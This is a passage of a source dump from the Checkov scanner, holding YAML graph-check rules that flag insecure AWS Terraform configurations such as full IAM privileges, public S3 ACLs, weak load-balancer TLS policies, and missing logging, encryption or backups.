    "content": "metadata:\n  id: \"CKV2_AWS_14\"\n  name: \"Ensure that IAM groups includes at least one IAM user\"\n  category: \"IAM\"\ndefinition:\n  and:\n    - resource_types:\n        - aws_iam_group\n      connected_resource_types:\n        - aws_iam_group_membership\n      operator:  exists\n      cond_type: connection\n    - resource_types:\n        - aws_iam_group_membership\n      connected_resource_types:\n        - aws_iam_user\n      operator:  exists\n      cond_type: connection\n    - cond_type: attribute\n      attribute: users\n      resource_types:\n        - aws_iam_group_membership\n      operator:  exists\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - aws_iam_group_membership\n      operator: within\n      \n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml",
    "content": "---\nmetadata:\n  id: \"CKV2_AWS_56\"\n  name: \"Ensure AWS Managed IAMFullAccess IAM policy is not used.\"\n  category: \"IAM\"\ndefinition:\n  not:\n    or:\n      - cond_type: attribute\n        resource_types:\n        - \"data.aws_iam_policy\"\n        attribute: \"name\"\n        operator: equals\n        value: \"IAMFullAccess\"\n      - cond_type: attribute\n        resource_types:\n        - \"data.aws_iam_policy\"\n        attribute: \"arn\"\n        operator: contains\n        value: \"IAMFullAccess\" \n      - cond_type: attribute\n        resource_types:\n        - \"aws_iam_policy_attachment\"\n        - \"aws_iam_user_policy_attachment\"\n        - \"aws_iam_role_policy_attachment\"\n        - \"aws_iam_group_policy_attachment\"\n        attribute: \"policy_arn\"\n        operator: contains\n        value: \"IAMFullAccess\"\n      - cond_type: attribute\n        resource_types:\n        - \"aws_iam_role\"\n        attribute: \"managed_policy_arns.*\"\n        operator: contains\n        value: \"IAMFullAccess\"      \n      - cond_type: attribute\n        resource_types:\n        - \"aws_ssoadmin_managed_policy_attachment\"\n        attribute: \"managed_policy_arn\"\n        operator: contains\n        value: \"IAMFullAccess\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml",
    "content": "---\nmetadata:\n  id: \"CKV2_AWS_40\"\n  name: \"Ensure AWS IAM policy does not allow full IAM privileges\"\n  category: \"IAM\"\ndefinition:\n  and:\n    - or:\n      - cond_type: \"attribute\"\n        resource_types:\n        - \"aws_iam_policy\"\n        - \"aws_iam_role_policy\"\n        - \"aws_iam_group_policy\"\n        - \"aws_iam_user_policy\"\n        attribute: \"policy.Statement[?(@.Effect == Allow)].Action[*]\"\n        operator: \"jsonpath_not_equals\"\n        value: \"iam:*\"\n      - cond_type: \"attribute\"\n        resource_types:\n        - \"aws_ssoadmin_permission_set_inline_policy\"\n        attribute: \"inline_policy.Statement[?(@.Effect == Allow)].Action[*]\"\n        operator: \"jsonpath_not_equals\"\n        value: \"iam:*\"\n      - cond_type: \"attribute\"\n        resource_types:\n        - \"data.aws_iam_policy_document\"\n        attribute: \"statement[?(@.effect == Allow)].actions[*]\"\n        operator: \"jsonpath_not_equals\"\n        value: \"iam:*\"\n    - or:\n      - cond_type: \"attribute\"\n        resource_types:\n        - \"aws_iam_policy\"\n        - \"aws_iam_role_policy\"\n        - \"aws_iam_group_policy\"\n        - \"aws_iam_user_policy\"\n        attribute: \"policy.Statement[?(@.Effect == Allow)].Action[*]\"\n        operator: \"jsonpath_not_equals\"\n        value: \"*\"\n      - cond_type: \"attribute\"\n        resource_types:\n        - \"aws_ssoadmin_permission_set_inline_policy\"\n        attribute: \"inline_policy.Statement[?(@.Effect == Allow)].Action[*]\"\n        operator: \"jsonpath_not_equals\"\n        value: \"*\"\n      - cond_type: \"attribute\"\n        resource_types:\n        - \"data.aws_iam_policy_document\"\n        attribute: \"statement[?(@.effect == Allow)].actions[*]\"\n        operator: \"jsonpath_not_equals\"\n        value: \"*\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/IAMUserHasNoConsoleAccess.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_22\"\n  name: \"Ensure an IAM User does not have access to the console\"\n  category: \"IAM\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - aws_iam_user\n      operator: within\n    - resource_types:\n        - aws_iam_user\n      connected_resource_types:\n        - aws_iam_user_login_profile\n      operator: not_exists\n      cond_type: connection\n\n   \n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/IAMUsersAreMembersAtLeastOneGroup.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_21\"\n  name: \"Ensure that all IAM users are members of at least one IAM group.\"\n  category: \"IAM\"\ndefinition:\n  and:\n    - resource_types:\n        - aws_iam_group_membership\n      connected_resource_types:\n        - aws_iam_user\n      operator:  exists\n      cond_type: connection\n    - resource_types:\n        - aws_iam_group_membership\n      connected_resource_types:\n        - aws_iam_group\n      operator:  exists\n      cond_type: connection\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - aws_iam_group_membership\n      operator: within\n   \n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/KmsKeyPolicyIsDefined.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_64\"\n  name: \"Ensure KMS key Policy is defined\"\n  category: \"IAM\"\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_kms_key\"\n      attribute: \"policy\"\n      operator: \"exists\"\n    - and:\n      - cond_type: filter\n        attribute: resource_type\n        operator: within\n        value:\n          - aws_kms_key\n      - cond_type: connection\n        resource_types:\n          - aws_kms_key\n        connected_resource_types:\n          - aws_kms_key_policy\n        operator: exists"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/LBTargetGroup.yaml",
    "content": "metadata:\n  id: \"CKV_AWS_378\"\n  name: \"Ensure AWS Load Balancer doesn't use HTTP protocol\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types:\n        - aws_lb_target_group\n        - aws_alb_target_group\n      attribute: \"protocol\"\n      operator: \"not_equals\"\n      value: \"HTTP\"\n    - and:\n      - cond_type: filter\n        value:\n          - aws_lb_target_group\n          - aws_alb_target_group\n        operator: within\n        attribute: resource_type\n      - cond_type: connection\n        operator: exists\n        resource_types:\n          - aws_lb_target_group\n          - aws_alb_target_group\n        connected_resource_types:\n          - aws_lb_listener\n          - aws_alb_listener\n      - cond_type: \"attribute\"\n        resource_types:\n          - aws_lb_listener\n          - aws_alb_listener\n        attribute: \"protocol\"\n        operator: \"not_equals\"\n        value: \"HTTP\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/LBWeakCiphers.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_74\"\n  name: \"Ensure AWS Load Balancers use strong ciphers\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_alb_listener\"\n        - \"aws_lb_listener\"\n      attribute: \"protocol\"\n      operator: \"not_within\"\n      value:\n        - \"HTTPS\"\n        - \"TLS\"\n    - and:\n      - cond_type: \"attribute\"\n        resource_types:\n          - \"aws_alb_listener\"\n          - \"aws_lb_listener\"\n        attribute: \"ssl_policy\"\n        operator: \"exists\"  # The default is ELBSecurityPolicy-2016-08 which is weak\n      - cond_type: \"attribute\"\n        resource_types:\n        - \"aws_alb_listener\"\n        - \"aws_lb_listener\"\n        attribute: \"ssl_policy\"\n        operator: \"not_within\"\n        value:\n          - \"ELBSecurityPolicy-2016-08\"\n          - \"ELBSecurityPolicy-2015-05\"\n          - \"ELBSecurityPolicy-TLS-1-0-2015-04\"\n          - \"ELBSecurityPolicy-TLS-1-1-2017-01\"\n          - \"ELBSecurityPolicy-2015-03\"\n          - \"ELBSecurityPolicy-2015-02\"\n          - \"ELBSecurityPolicy-2014-10\"\n          - \"ELBSecurityPolicy-Default\"\n          - \"ELBSecurityPolicy-2014-01\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml",
    "content": "metadata:\n  name: \"Ensure no open CORS policy\"\n  id: \"CKV2_AWS_75\"\n  category: \"NETWORKING\"\nscope:\n  provider: \"aws\"\ndefinition:\n  and:\n    - cond_type: \"filter\"\n      attribute: \"resource_type\"\n      value:\n        - \"aws_lambda_function\"\n      operator: \"within\"\n    - or:\n        - cond_type: \"connection\"\n          operator: \"not_exists\"\n          resource_types:\n            - \"aws_lambda_function\"\n          connected_resource_types:\n            - \"aws_lambda_function_url\"\n        - and:\n          - cond_type: \"connection\"\n            operator: \"exists\"\n            resource_types:\n              - \"aws_lambda_function\"\n            connected_resource_types:\n              - \"aws_lambda_function_url\"\n          - or:\n            - cond_type: \"attribute\"\n              resource_types:\n                - \"aws_lambda_function_url\"\n              attribute: \"cors.allow_origins\"\n              operator: \"not_contains\"\n              value: \"*\"\n            - cond_type: \"attribute\"\n              resource_types:\n                - \"aws_lambda_function_url\"\n              attribute: \"cors.allow_methods\"\n              operator: \"not_contains\"\n              value: \"*\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/NeptuneDeletionProtectionEnabled.yaml",
    "content": "metadata:\n  name: \"Ensure AWS Neptune cluster deletion protection is enabled\"\n  id: \"CKV2_AWS_58\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types: \n    - \"aws_neptune_cluster\"\n  attribute: \"deletion_protection\"\n  operator: \"equals_ignore_case\"\n  value: \"true\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/NetworkFirewallHasLogging.yaml",
    "content": "metadata:\n  name: \"Ensure Network firewall has logging configuration defined\"\n  id: \"CKV2_AWS_63\"\n  category: \"LOGGING\"\ndefinition:\n    and:\n      - cond_type: filter\n        attribute: resource_type\n        value:\n          - aws_networkfirewall_firewall\n        operator: within\n      - cond_type: connection\n        resource_types:\n           - aws_networkfirewall_firewall\n        connected_resource_types:\n           - aws_networkfirewall_logging_configuration\n        operator: exists\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/OpenSearchDomainHasFineGrainedControl.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_52\"\n  name: \"Ensure AWS ElasticSearch/OpenSearch Fine-grained access control is enabled\"\n  category: \"IAM\"\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types:\n      - \"aws_opensearch_domain\"\n      - \"aws_elasticsearch_domain\"\n      attribute: \"advanced_security_options.internal_user_database_enabled\"\n      operator: \"equals\"\n      value: \"true\"\n    - cond_type: \"attribute\"\n      resource_types:\n      - \"aws_opensearch_domain\"\n      - \"aws_elasticsearch_domain\"\n      attribute: \"advanced_security_options.enabled\"\n      operator: \"equals\"\n      value: \"true\"  "
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/PostgresDBHasQueryLoggingEnabled.yaml",
    "content": "metadata:\n  name: \"Ensure Postgres RDS as aws_db_instance has Query Logging enabled\"\n  id: \"CKV2_AWS_30\"\n  category: \"LOGGING\"\ndefinition:\n  or :\n    - cond_type: filter\n      attribute: resource_type\n      value:\n      - aws_db_instance\n      operator: within\n    - cond_type: filter\n      resource_types:\n      - aws_db_instance\n      attribute: engine\n      operator: within\n      value: \"postgres\"\n    - cond_type: connection\n      resource_types:\n      - aws_db_instance\n      connected_resource_types:\n      - aws_db_parameter_group\n      operator: exists\n    - cond_type: attribute\n      resource_types:\n      - aws_db_parameter_group\n      attribute: \"parameter.*.name\"\n      operator: contains\n      value: \"log_statement\"\n    - cond_type: attribute\n      resource_types:\n      - aws_db_parameter_group\n      attribute: \"parameter.*.name\"\n      operator: contains\n      value: \"log_min_duration_statement\"\n\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/PostgresRDSHasQueryLoggingEnabled.yaml",
    "content": "metadata:\n  name: \"Ensure Postgres RDS as aws_rds_cluster has Query Logging enabled\"\n  id: \"CKV2_AWS_27\"\n  category: \"LOGGING\"\ndefinition:\n and:\n - cond_type: filter\n   attribute: resource_type\n   value:\n   - aws_rds_cluster\n   operator: within\n - cond_type: filter\n   resource_types:\n   - aws_rds_cluster\n   attribute: engine\n   operator: within\n   value: \"aurora-postgresql\"\n - cond_type: connection\n   resource_types:\n   - aws_rds_cluster\n   connected_resource_types:\n   - aws_rds_cluster_parameter_group\n   operator: exists\n - cond_type: attribute\n   resource_types:\n   - aws_rds_cluster_parameter_group\n   attribute: \"parameter.*.name\"\n   operator: contains\n   value: \"log_statement\"  \n - cond_type: attribute\n   resource_types:\n   - aws_rds_cluster_parameter_group\n   attribute: \"parameter.*.name\"\n   operator: contains\n   value: \"log_min_duration_statement\" "
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/RDSClusterHasBackupPlan.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_8\"\n  name: \"Ensure that RDS clusters has backup plan of AWS Backup\"\n  category: \"BACKUP_AND_RECOVERY\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - aws_rds_cluster\n      operator: within\n    - cond_type: connection\n      resource_types:\n        - aws_rds_cluster\n      connected_resource_types:\n        - aws_backup_selection\n      operator: exists"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/RDSEnableCopyTagsToSnapshot.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_60\"\n  name: \"Ensure RDS instance with copy tags to snapshots is enabled\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  and:\n    - cond_type: attribute\n      resource_types: \"aws_db_instance\"\n      attribute: \"copy_tags_to_snapshot\"\n      operator: \"equals\"\n      value: \"true\"\n\n    - cond_type: attribute\n      resource_types: \"aws_db_instance\"\n      attribute: \"copy_tags_to_snapshot\"\n      operator: \"exists\"\n\n    - cond_type: attribute\n      resource_types: \"aws_db_instance\"\n      attribute: \"engine\"\n      operator: \"not_within\"\n      value:\n        - \"neptune\"\n        - \"aurora\"\n        - \"docdb\"\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/RDSEncryptionInTransit.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_69\"\n  name: \"Ensure AWS RDS database instance configured with encryption in transit\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - \"aws_db_instance\"\n      operator: within\n    - or:\n      - cond_type: \"connection\"\n        resource_types:\n          - \"aws_db_instance\"\n        connected_resource_types:\n          - \"aws_db_parameter_group\"\n        operator: \"not_exists\"\n      - and:\n        - cond_type: \"connection\"\n          resource_types:\n            - \"aws_db_instance\"\n          connected_resource_types:\n            - \"aws_db_parameter_group\"\n          operator: \"exists\"\n        - or:\n          - cond_type: \"attribute\"\n            resource_types:\n              - \"aws_db_parameter_group\"\n            attribute: \"family\"\n            operator: \"not_regex_match\"\n            value: \"(^postgres|.*sqlserver).*\"\n          - and:\n            - cond_type: \"attribute\"\n              resource_types:\n                - \"aws_db_parameter_group\"\n              attribute: \"parameter[?(@.name=='rds.force_ssl')].value\"\n              operator: \"jsonpath_exists\"\n            - cond_type: \"attribute\"\n              resource_types:\n                - \"aws_db_parameter_group\"\n              attribute: \"parameter[?(@.name=='rds.force_ssl')].value\"\n              operator: \"jsonpath_equals\"\n              value: \"1\"\n        - or:\n          - cond_type: \"attribute\"\n            resource_types:\n              - \"aws_db_parameter_group\"\n            attribute: \"family\"\n            operator: \"not_regex_match\"\n            value: \"^(mariadb|mysql).*\"\n          - and:\n            - cond_type: \"attribute\"\n              resource_types:\n                - \"aws_db_parameter_group\"\n              attribute: \"parameter[?(@.name=='require_secure_transport')].value\"\n              operator: \"jsonpath_exists\"\n            - cond_type: \"attribute\"\n              resource_types:\n                - \"aws_db_parameter_group\"\n              attribute: \"parameter[?(@.name=='require_secure_transport')].value\"\n              operator: \"jsonpath_equals\"\n              value: \"1\"\n        - or:\n          - cond_type: \"attribute\"\n            resource_types:\n              - \"aws_db_parameter_group\"\n            attribute: \"family\"\n            operator: \"not_regex_match\"\n            value: \".*db2-ae.*\"\n          - and:\n            - cond_type: \"attribute\"\n              resource_types:\n                - \"aws_db_parameter_group\"\n              attribute: \"parameter[?(@.name=='db2comm')].value\"\n              operator: \"jsonpath_exists\"\n            - cond_type: \"attribute\"\n              resource_types:\n                - \"aws_db_parameter_group\"\n              attribute: \"parameter[?(@.name=='db2comm')].value\"\n              operator: \"jsonpath_equals\"\n              value: \"SSL\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/Route53ARecordAttachedResource.yaml",
    "content": "metadata:\n  name: \"Route53 A Record has Attached Resource\"\n  id: \"CKV2_AWS_23\"\n  category: \"NETWORKING\"\ndefinition:\n and:\n      - cond_type: filter\n        attribute: resource_type\n        value:\n          - aws_route53_record\n        operator: within\n      - cond_type: filter\n        resource_types:\n           - aws_route53_record\n        attribute: type\n        operator: within\n        value: \"A\"\n      - or:\n         - cond_type: attribute\n           attribute: alias.name\n           operator: contains\n           value: \"module\"\n           resource_types:\n             - aws_route53_record\n         - cond_type: attribute\n           attribute: alias.name\n           operator: contains\n           value: \"data.\"\n           resource_types:\n             - aws_route53_record\n         - cond_type: attribute\n           attribute: alias.name\n           operator: contains\n           value: \"var.\"\n           resource_types:\n             - aws_route53_record\n         - cond_type: connection\n           resource_types:\n              - aws_route53_record\n           connected_resource_types:\n              - aws_instance\n              - aws_eip\n              - aws_elb\n              - aws_lb\n              - aws_alb\n              - aws_route53_record\n              - aws_s3_bucket\n              - aws_api_gateway_domain_name\n              - aws_elastic_beanstalk_environment\n              - aws_vpc_endpoint\n              - aws_globalaccelerator_accelerator\n              - aws_cloudfront_distribution\n              - aws_db_instance\n              - aws_apigatewayv2_domain_name\n              - aws_lightsail_instance\n              - aws_lightsail_static_ip\n           operator: exists\n           attribute: networking\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/Route53ZoneEnableDNSSECSigning.yaml",
    "content": "metadata:\n  name: \"Ensure Domain Name System Security Extensions (DNSSEC) signing is enabled for Amazon Route 53 public hosted zones\"\n  id: \"CKV2_AWS_38\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n    - and:\n      - cond_type: attribute\n        resource_types:\n          - aws_route53_zone\n        attribute: vpc  # This indicates a private zone that can't have DNSSEC enabled\n        operator: exists\n      - cond_type: attribute\n        resource_types:\n          - aws_route53_zone\n        attribute: vpc  # This indicates a private zone that can't have DNSSEC enabled\n        operator: not_equals\n        value: []\n    - and:\n      - cond_type: filter\n        attribute: resource_type\n        value:\n        - aws_route53_zone\n        operator: within\n      - cond_type: connection\n        resource_types:\n        - aws_route53_zone\n        connected_resource_types:\n        - aws_route53_hosted_zone_dnssec\n        - aws_route53_key_signing_key\n        - aws_route53_zone_association  # This indicates a private zone that can't have DNSSEC enabled\n        operator: exists\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/Route53ZoneHasMatchingQueryLog.yaml",
    "content": "metadata:\n  name: \"Ensure Domain Name System (DNS) query logging is enabled for Amazon Route 53 hosted zones\"\n  id: \"CKV2_AWS_39\"\n  category: \"LOGGING\"\ndefinition:\n  or:\n    - cond_type: attribute\n      resource_types:\n        - aws_route53_zone\n      attribute: vpc\n      operator: exists\n    - and:\n      - cond_type: filter\n        attribute: resource_type\n        value:\n        - aws_route53_zone\n        operator: within\n      - cond_type: connection\n        resource_types:\n        - aws_route53_zone\n        connected_resource_types:\n        - aws_route53_query_log\n        operator: exists\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/S3BucketEncryption.yaml",
    "content": "metadata:\n  name: \"Ensure all data stored in the S3 bucket is securely encrypted at rest\"\n  category: \"ENCRYPTION\"\n  id: \"CKV_AWS_19\"\ndefinition:\n  or:\n    - cond_type: attribute\n      resource_types:\n        - aws_s3_bucket\n      attribute: server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.sse_algorithm\n      operator: within\n      value:\n        - \"aws:kms\"\n        - \"AES256\"\n    - and:\n      - cond_type: filter\n        attribute: resource_type\n        operator: within\n        value:\n          - aws_s3_bucket\n      - cond_type: connection\n        resource_types:\n          - aws_s3_bucket\n        connected_resource_types:\n          - aws_s3_bucket_server_side_encryption_configuration\n        operator: not_exists\n      - cond_type: attribute\n        resource_types:\n          - aws_s3_bucket\n        attribute: server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.sse_algorithm\n        operator: not_exists # The default for aws_s3_bucket was changed to be encrypted with SSE-S3 which uses AES256\n    - and:\n      - cond_type: filter\n        attribute: resource_type\n        operator: within\n        value:\n          - aws_s3_bucket\n      - cond_type: connection\n        resource_types:\n          - aws_s3_bucket\n        connected_resource_types:\n          - aws_s3_bucket_server_side_encryption_configuration\n        operator: exists\n      - cond_type: attribute\n        resource_types:\n          - aws_s3_bucket_server_side_encryption_configuration\n        attribute: rule.apply_server_side_encryption_by_default.sse_algorithm\n        operator: within\n        value:\n          - \"aws:kms\"\n          - \"AES256\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/S3BucketEventNotifications.yaml",
    "content": "metadata:\n  name: \"Ensure S3 buckets should have event notifications enabled\"\n  category: \"LOGGING\"\n  id: \"CKV2_AWS_62\"\ndefinition:\n    and:\n    - cond_type: filter\n      attribute: resource_type\n      operator: within\n      value:\n        - aws_s3_bucket\n    - cond_type: connection\n      resource_types:\n        - aws_s3_bucket\n      connected_resource_types:\n        - aws_s3_bucket_notification\n      operator: exists\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/S3BucketHasPublicAccessBlock.yaml",
    "content": "metadata:\n  name: \"Ensure that S3 bucket has a Public Access block\"\n  category: \"Networking\"\n  id: \"CKV2_AWS_6\"\ndefinition:\n  and:\n    - resource_types:\n        - aws_s3_bucket\n      connected_resource_types:\n        - aws_s3_bucket_public_access_block\n      operator:  exists\n      cond_type: connection\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - aws_s3_bucket\n      operator: within\n    - cond_type: attribute\n      attribute: block_public_acls\n      value: true\n      operator: equals\n      resource_types:\n        - aws_s3_bucket_public_access_block\n    - cond_type: attribute\n      attribute: block_public_policy\n      value: true\n      operator: equals\n      resource_types:\n        - aws_s3_bucket_public_access_block\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/S3BucketLifecycle.yaml",
    "content": "metadata:\n  name: \"Ensure that an S3 bucket has a lifecycle configuration\"\n  category: \"LOGGING\"\n  id: \"CKV2_AWS_61\"\ndefinition:\n  or:\n    - and:\n        - cond_type: filter\n          attribute: resource_type\n          operator: within\n          value:\n            - aws_s3_bucket\n        - cond_type: connection\n          resource_types:\n            - aws_s3_bucket\n          connected_resource_types:\n            - aws_s3_bucket_lifecycle_configuration\n          operator: exists\n    - cond_type: attribute\n      resource_types:\n        - aws_s3_bucket\n      attribute: lifecycle_rule\n      operator: exists\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/S3BucketLogging.yaml",
    "content": "metadata:\n  name: \"Ensure the S3 bucket has access logging enabled\"\n  category: \"LOGGING\"\n  id: \"CKV_AWS_18\"\ndefinition:\n  or:\n    - cond_type: attribute\n      resource_types:\n        - aws_s3_bucket\n      attribute: logging\n      operator: exists\n    - and:\n      - cond_type: filter\n        attribute: resource_type\n        operator: within\n        value:\n          - aws_s3_bucket\n      - cond_type: connection\n        resource_types:\n          - aws_s3_bucket\n        connected_resource_types:\n          - aws_s3_bucket_logging\n        operator: exists\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/S3BucketReplicationConfiguration.yaml",
    "content": "metadata:\n  name: \"Ensure that S3 bucket has cross-region replication enabled\"\n  category: \"GENERAL_SECURITY\"\n  id: \"CKV_AWS_144\"\ndefinition:\n  or:\n    - cond_type: attribute\n      resource_types:\n        - aws_s3_bucket\n      attribute: replication_configuration.rules.*.status\n      operator: equals\n      value: Enabled\n    - and:\n        - cond_type: filter\n          attribute: resource_type\n          operator: within\n          value:\n            - aws_s3_bucket\n        - cond_type: connection\n          resource_types:\n            - aws_s3_bucket\n          connected_resource_types:\n            - aws_s3_bucket_replication_configuration\n          operator: exists\n        - cond_type: attribute\n          resource_types:\n            - aws_s3_bucket_replication_configuration\n          attribute: rule.*.status\n          operator: equals\n          value: Enabled\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/S3BucketVersioning.yaml",
    "content": "metadata:\n  name: \"Ensure all data stored in the S3 bucket have versioning enabled\"\n  category: \"BACKUP_AND_RECOVERY\"\n  id: \"CKV_AWS_21\"\ndefinition:\n  or:\n    - cond_type: attribute\n      resource_types:\n        - aws_s3_bucket\n      attribute: versioning.enabled\n      operator: equals\n      value: true\n    - and:\n        - cond_type: filter\n          attribute: resource_type\n          operator: within\n          value:\n            - aws_s3_bucket\n        - cond_type: connection\n          resource_types:\n            - aws_s3_bucket\n          connected_resource_types:\n            - aws_s3_bucket_versioning\n          operator: exists\n        - cond_type: attribute\n          resource_types:\n            - aws_s3_bucket_versioning\n          attribute: versioning_configuration.status\n          operator: equals\n          value: Enabled\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/S3KMSEncryptedByDefault.yaml",
    "content": "metadata:\n  name: \"Ensure that S3 buckets are encrypted with KMS by default\"\n  category: \"ENCRYPTION\"\n  id: \"CKV_AWS_145\"\ndefinition:\n  or:\n    - cond_type: attribute\n      resource_types:\n        - aws_s3_bucket\n      attribute: server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.sse_algorithm\n      operator: equals\n      value: \"aws:kms\"\n    - and:\n      - cond_type: filter\n        attribute: resource_type\n        operator: within\n        value:\n          - aws_s3_bucket\n      - cond_type: connection\n        resource_types:\n          - aws_s3_bucket\n        connected_resource_types:\n          - aws_s3_bucket_server_side_encryption_configuration\n        operator: exists\n      - cond_type: attribute\n        resource_types:\n          - aws_s3_bucket_server_side_encryption_configuration\n        attribute: rule.apply_server_side_encryption_by_default.sse_algorithm\n        operator: equals\n        value: \"aws:kms\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/S3NotAllowAccessToAllAuthenticatedUsers.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_43\"\n  name: \"Ensure S3 Bucket does not allow access to all Authenticated users\"\n  category: \"IAM\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_s3_bucket_acl\"\n  attribute: \"access_control_policy.grant.*.grantee.uri\"\n  operator: \"not_equals\"  \n  value: \"http://acs.amazonaws.com/groups/global/AuthenticatedUsers\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/S3PublicACLRead.yaml",
    "content": "metadata:\n  name: \"S3 Bucket has an ACL defined which allows public READ access.\"\n  category: \"GENERAL_SECURITY\"\n  id: \"CKV_AWS_20\"\ndefinition:\n  or:\n    - and:\n        - cond_type: attribute\n          resource_types:\n            - aws_s3_bucket\n          attribute: acl\n          operator: exists\n        - cond_type: attribute\n          resource_types:\n            - aws_s3_bucket\n          attribute: acl\n          operator: not_equals\n          value: public-read\n        - cond_type: attribute\n          resource_types:\n            - aws_s3_bucket\n          attribute: acl\n          operator: not_equals\n          value: public-read-write\n        - cond_type: attribute\n          resource_types:\n            - aws_s3_bucket\n          attribute: acl\n          operator: not_equals\n          value: website\n        - cond_type: attribute\n          resource_types:\n            - aws_s3_bucket\n          attribute: acl\n          operator: not_equals\n          value: authenticated-read\n    - and:\n        - cond_type: filter\n          attribute: resource_type\n          operator: within\n          value:\n            - aws_s3_bucket\n        - cond_type: connection\n          resource_types:\n            - aws_s3_bucket\n          connected_resource_types:\n            - aws_s3_bucket_acl\n          operator: exists\n        - or:\n            - and:\n                - cond_type: attribute\n                  resource_types:\n                    - aws_s3_bucket_acl\n                  attribute: acl\n                  operator: exists\n                - cond_type: attribute\n                  resource_types:\n                    - aws_s3_bucket_acl\n                  attribute: acl\n                  operator: not_equals\n                  value: public-read\n                - cond_type: attribute\n                  resource_types:\n                    - aws_s3_bucket_acl\n                  attribute: acl\n                  operator: not_equals\n                  value: public-read-write\n                - cond_type: attribute\n                  resource_types:\n                    - aws_s3_bucket_acl\n                  attribute: acl\n                  operator: not_equals\n                  value: website\n                - cond_type: attribute\n                  resource_types:\n                    - aws_s3_bucket_acl\n                  attribute: acl\n                  operator: not_equals\n                  value: authenticated-read\n            - and:\n                - cond_type: attribute\n                  resource_types:\n                    - aws_s3_bucket_acl\n                  attribute: access_control_policy\n                  operator: exists\n                - or:\n                    - cond_type: attribute\n                      resource_types:\n                        - aws_s3_bucket_acl\n                      attribute: access_control_policy.grant\n                      operator: not_exists\n                    - cond_type: attribute\n                      resource_types:\n                        - aws_s3_bucket_acl\n                      attribute: access_control_policy.grant.*.grantee.uri\n                      operator: not_equals\n                      value: \"http://acs.amazonaws.com/groups/global/AllUsers\"\n    - and:\n      - cond_type: filter\n        attribute: resource_type\n        operator: within\n        value:\n          - aws_s3_bucket\n      - cond_type: attribute\n        resource_types:\n          - aws_s3_bucket\n        attribute: acl\n        operator: not_exists\n      - cond_type: connection\n        resource_types:\n          - aws_s3_bucket\n        connected_resource_types:\n          - aws_s3_bucket_acl\n        operator: not_exists\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/S3PublicACLWrite.yaml",
